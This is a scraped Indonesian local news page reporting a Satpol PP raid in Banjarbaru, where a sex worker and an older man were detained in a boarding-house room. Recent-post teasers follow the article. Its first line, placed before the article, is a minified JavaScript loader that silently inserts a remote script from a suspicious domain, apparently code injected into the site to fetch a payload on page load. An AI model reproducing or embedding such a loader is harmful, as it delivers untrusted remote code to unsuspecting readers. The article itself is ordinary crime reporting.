(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

BUGIL. Pria Tua Ini Siap “Main” dengan PSK, Eh… Kepergok Satpol PP Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Giat patroli yang dilaksanakan Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru menciduk praktek prostitusi yang dilakukan seorang wanita pekerja seks komersial (PSK) bersama teman pria lanjut usia, di Jalan Sungai Salak (Batu Besi), Kecamatan Landasan Ulin, Kota Banjarbaru, Rabu (15/4/2020) siang.

Adapun indentitas PSK tersebut berinisal P (36) warga Jalan Golf Komplek Pondok Pisang Kecamatan Liang Anggang. Sedangkan, pria hidung belang yang juga ikut diciduk adalah S (55) bertempat tinggal di Jalan Guntung Harapan, Kecamatan Landasan Ulin.

Pasangan bukan suami istri ini tidak mampu mengelak saat digerebek petugas. Apalagi, sang pria berusia lanjut tersebut tengah dalam kondisi tak mengenakan pakaian (telanjang).

Kepala Satpol PP Banjarbaru Marhain Rahman melalui PPNS Kasi Teknis Fungsional Hairunnisa Halim mengatakan, awalnya petugas melihat seorang wanita menujukan gelagat mencurigakan yang berlari ke dalam kamar sebuah indekos. Benar saja, saat masuk ke dalam kamar tersebut, petugas mendapati adanya praktek prostitusi.

“Jadi, mereka ini baru mau melakukan hubungan intim. Itu dibuktikan dengan kondisi pria yang sudah dalam keadaan telanjang bulat,” kata Nisa -sapaan akrabnya.

Terbukti adanya praktek prostitusi ini, membuat P dan S harus digiring ke Mako Satpol PP Kota Banjarbaru untuk menjalani pemeriksaan. Selain itu, petugas juga mengamankan barang bukti berupa kasur dan tisu.

Dari hasil pemeriksaan, diduga bahwa P baru-baru saja menggeluti praktek prostitusi dengan berprofesi sebagai PSK. Wanita tersebut juga mengaku baru seminggu ini menempati kamar di bangunan indekos tersebut.

Sialnya bagi S -si pria hidung belang- juga harus tersandung kasus ini. Pria lanjut usia tersebut juga terancam akan dikenakan sanksi tegas.

“Keduanya akan kita suruh membuat BAP. Besok akan kita panggil lagi, untuk membuat surat pernyataan dan harus membawa saksi yakni dari pihak keluarga masing-masing. Untuk yang wanita, kita tidak memperbolehkan lagi untuk tinggal di kamar indekos itu,” tegas Nisa. (kanalkalimantan.com/rico)

Reporter : rico
Editor : kk

 


Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

4 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

5 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

6 jam ago

Wabup Dodo: Hasil Reses DPRD Jadi Acuan Kebijakan

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati (Wabup) Kapuas Dodo menegaskan berbagai aspirasi maupun usulan yang… Read More

6 jam ago

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

18 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

19 jam ago

This website uses cookies.